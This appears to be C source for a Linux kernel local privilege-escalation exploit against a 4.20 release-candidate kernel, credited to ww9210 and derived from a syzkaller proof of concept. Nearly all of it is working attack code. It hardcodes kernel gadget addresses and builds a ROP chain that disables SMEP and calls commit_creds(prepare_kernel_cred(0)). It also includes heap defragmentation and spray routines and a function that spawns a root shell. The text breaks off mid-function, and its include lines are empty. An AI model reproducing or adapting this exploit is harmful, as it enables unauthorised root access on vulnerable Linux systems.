// gcc -o exp exp.c -static -fno-pie // SMEP bypass exploit // author ww9210 // poc generated by syzkaller /* user@test:~$ ./exp rop_payload_initialized uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0 # uname -a Linux syzkaller 4.20.0-rc3 #1 SMP Thu Nov 22 15:12:38 CST 2018 x86_64 GNU/Linux # */ #define _GNU_SOURCE #define SPRAY_NUMBER 14 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define native_write_cr4 0xffffffff81097fcc #define PREPARE_KERNEL_CRED 0xffffffff810e3670 #define COMMIT_CREDS 0xffffffff810e33e0 #define poprdiret 0xffffffff810013b9 #define popraxret 0xffffffff81029c71 #define swapgs 0xffffffff81c0095f #define iretq 0xffffffff8106d8f4 #define stack_pivot_gadget 0xffffffff81954dc8 #define stack_top_offset 0x674 #define krop_base_to_map 0x81954000 int rop_start=0x1444-8; void* krop_base_mapped; unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory"); } void get_shell() { system("id"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root_payload(void) { commit_creds(prepare_kernel_cred(0)); } /* unsigned long rop_chain[] = { poprdiret, 0x6f0, native_write_cr4, get_root_payload, swapgs, 0, //dummy iretq, get_shell, 0,//user_cs, 0,//user_rflags, 0,//krop_base_mapped + 0x4000, 0//user_ss }; */ #define POPRDX 0xffffffff81002dda //0xffffffff810d9c01 : push rax ; push rax ; ret #define DUMMY 0 unsigned long rop_chain[] = { popraxret, 0x6f0, native_write_cr4, poprdiret, 0, PREPARE_KERNEL_CRED, 0xffffffff81001c50, //: pop rsi ; ret poprdiret, 0xffffffff812646fb, //: push rax ; push rsi ; ret COMMIT_CREDS, swapgs, (unsigned long)&get_shell, 0,//user_cs, 0,//user_rflags, 0,//krop_base_mapped + 0x4000, 0//user_ss }; void * fakestack; void prepare_krop(){ krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); if (krop_base_mapped<0){ perror("mmap failed"); } fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); *(unsigned long*)0x0000000081954dc8=popraxret; *(unsigned long*)krop_base_to_map = 0; *(unsigned long*)(krop_base_to_map+0x1000) = 0; *(unsigned long*)(krop_base_to_map+0x2000) = 0; *(unsigned long*)(krop_base_to_map+0x3000) = 0; *(unsigned long*)(krop_base_to_map+0x4000) = 0; *(unsigned long*)(krop_base_to_map+0x5000) = 0; *(unsigned long*)(krop_base_to_map+0x6000) = 0; *(unsigned long*)(krop_base_to_map+0x7000) = 0; *(unsigned long*)(fakestack+0x4000) = 0; *(unsigned long*)(fakestack+0x3000) = 0; *(unsigned long*)(fakestack+0x2000) = 0; *(unsigned long*)(fakestack+0x1000) = 0; *(unsigned long*)(fakestack) = 0; *(unsigned long*)(fakestack+0x10) = stack_pivot_gadget; *(unsigned long*)(fakestack+0x7000) = 0; *(unsigned long*)(fakestack+0x6000) = 0; *(unsigned long*)(fakestack+0x5000) = 0; rop_chain[12]=user_cs; rop_chain[13]=user_rflags; rop_chain[14]=(unsigned long)(fakestack + 0x6000); rop_chain[15]=user_ss; memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain)); puts("rop_payload_initialized"); } #ifndef __NR_bpf #define __NR_bpf 321 #endif uint64_t r[1] = {0xffffffffffffffff}; // defragmentation void defragment(){ int i; FILE* fp; char name[100]; for(i=0; i<200; i++){ snprintf(name, 100, "xxx%d", i); fp=fopen(name,"w"); } } long victim[SPRAY_NUMBER]; void spray(){ int i; for(i=0;i